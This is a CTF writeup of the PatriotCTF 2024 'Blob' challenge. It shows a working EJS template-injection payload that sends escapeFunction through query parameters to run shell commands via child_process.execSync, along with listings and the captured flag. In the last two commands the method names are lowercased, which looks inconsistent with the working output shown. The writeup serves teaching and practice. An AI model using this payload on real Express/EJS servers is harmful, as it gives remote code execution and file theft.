PatriotCTF 2024 Blob Writeup

Published: December 4, 2025, updated: December 5, 2025

This article contains my writeup for the PatriotCTF 2024 Blob challenge.

Challenge notes

blob says: blob

http://chal.competitivecyber.club:3000

flag format: caci{.*}

author: caci

Files

Screenshot of the rendered index in a browser

Screenshot of the rendered index in a browser

The challenge comes with two files:

Here’s what’s in the index.js file:

// index.js
require("express")()
  .set("view engine", "ejs")
  .use((req, res) => res.render("index", { blob: "blob", ...req.query }))
  .listen(3000);

The views/index.js template contains the following:

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Blob</title>
    <style>
        /* … styles omitted */
    </style>
  </head>

  <body>
    <main>
      <div id="blobfish"></div>
      <div id="chat">blob say: <%= blob %></div>
      <!-- … -->
    </main>
  </body>
</html>

Notice the <%= blob %> part allowing you to inject arbitrary content via ...req.query in index.js.

Template injection

EJS templates like the one used here are susceptible to template injections. The EJS maintainers suggest that you should make your templates safe instead of reporting that “unsafe template are unsafe”2:

security professionals, before reporting any security issues, please reference the security.md in this project, in particular, the following: “ejs is effectively a javascript runtime. its entire job is to execute javascript. if you run the ejs render method without checking the inputs yourself, you are responsible for the results.”

in short, do not submit ‘vulnerabilities’ that include this snippet of code:

app.get('/', (req, res) => {
  res.render('index', req.query);
});

Here’s how you can override the blob:

curl http://chal.competitivecyber.club:3000 --url-query blob=hello

This gives the following (abbreviated) response:

<!-- … -->
      <div id="blobfish"></div>
      <div id="chat">blob say: hello</div>
<!-- … -->

The trick is to overwrite the EJS render behavior3 and set the escapeFunction parameter 4 to an arbitrary JavaScript string. Here’s the relevant code in ejs/lib/ejs.js:

  compile: function () {
    // …
    var escapeFn = opts.escapeFunction;
    // …
    // NOTE: you need to enable template debugging for this to work
    // just pass --url-query debug=true
    // - Justus
    if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + sanitizedFilename + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }
  }
  // …
  scanLine: function (line) {
    // …
    switch (line) {
      // …
    default:
      // In script mode, depends on type of tag
      if (this.mode) {
        switch (this.mode) {
        // …
          // Exec, esc, and output
        case Template.modes.ESCAPED:
          this.source += '    ; __append(escapeFn(' + stripSemi(line) + '))' + '\n';
          break;
        // …
        }
      }
    }
  },
  // …

If we’re clever about this, we can make the EJS template print something escaped using our own evil escape function.

Here’s how you can list the contents of the / directory with Node.js’s child_process.execSync5 function:

curl http://chal.competitivecyber.club:3000 \
  --url-query debug=true \
  --url-query "settings[view%20options][client]=true" \
  --url-query 'settings[view%20options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("ls /").toString()'
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

I’m guessing the flag is in the /app directory:

curl http://chal.competitivecyber.club:3000 \
  --url-query debug=true \
  --url-query "settings[view%20options][client]=true" \
  --url-query 'settings[view%20options][escapefunction]=(() => {});return process.mainmodule.require("child_process").execsync("ls /app").tostring()'

Looks good:

flag-6637c8dd34.txt
index.js
node_modules
package.json
views
yarn.lock

Read out flag-6637c8dd34.txt:

curl http://chal.competitivecyber.club:3000 \
 --url-query debug=true \
 --url-query "settings[view%20options][client]=true" \
 --url-query 'settings[view%20options][escapefunction]=(() => {});return process.mainmodule.require("child_process").execsync("cat flag-6637c8dd34.txt").tostring()'

Here’s the flag:

caci{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}
Screenshot showing the flag for this challenge extracted using a template injection

Screenshot showing the flag for this challenge extracted using a template injection Open in new tab (full image size 19 KiB)

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index